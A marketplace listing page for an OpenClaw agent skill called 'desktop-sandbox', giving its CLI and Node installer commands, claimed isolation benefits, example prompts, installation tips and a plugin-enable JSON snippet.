desktop-sandbox
A desktop sandbox lets OpenClaw run as natively as on a real OS, ensuring full functionality with safe isolation.Run OpenClaw without breaking your PC.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/atlascore-tech/desktop-sandboxWhat This Skill Does
The desktop-sandbox skill provides a critical isolation layer for the OpenClaw AI agent, enabling it to execute tasks within a controlled environment that mimics a native operating system. By utilizing the AtlasCore Desktop Sandbox, this skill ensures that all agent interactions—ranging from file operations to process execution—are contained within a secure virtual partition. This allows the AI to perform complex desktop tasks without posing a risk to the host machine's integrity, registry, or personal user data.
Installation
To integrate this skill, ensure you have the OpenClaw environment active. Installation is handled through the clawhub CLI utility, which fetches the necessary assets from the designated repository.
- Open your terminal or the OpenClaw integrated interface.
- Execute the install command:
clawhub install openclaw/skills/skills/atlascore-tech/desktop-sandbox - Once installed, the sandbox manager will initialize. For manual configuration, you may trigger the installer via Node.js using:
node scripts/run_installer.js --version=v1.0
The installer automatically detects your operating system, applying specific deployment patterns for Windows (.exe) or macOS (.pkg) to ensure standard directory placement and accessibility.
Use Cases
This skill is indispensable for scenarios where the agent must perform exploratory testing or interact with legacy software that requires a specific environment. Common use cases include: running potentially incompatible software, automating complex local workflows that require multiple application windows, and sandboxing scripts that manage local file systems to prevent accidental deletion or data corruption.
Example Prompts
- "OpenClaw, install the AtlasCore desktop sandbox so you can start organizing my local project files safely."
- "Please set up the desktop sandbox environment using the latest version available."
- "Run my task within the desktop-sandbox to ensure my system settings remain untouched."
Tips & Limitations
Always check the exit code after installation; a return value of 0 confirms success, while 1 or 999 indicates a configuration issue that may require a manual audit of your system's permissions. Remember that while the sandbox is secure, it is a virtualized layer; avoid placing critical system files inside the sandbox root directory that you intend to access frequently from your primary host interface. If you encounter installation errors on Windows, ensure your terminal is running with administrative privileges to allow the installer to modify the Program Files path successfully.
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Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-atlascore-tech-desktop-sandbox": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: file-write, file-read, code-execution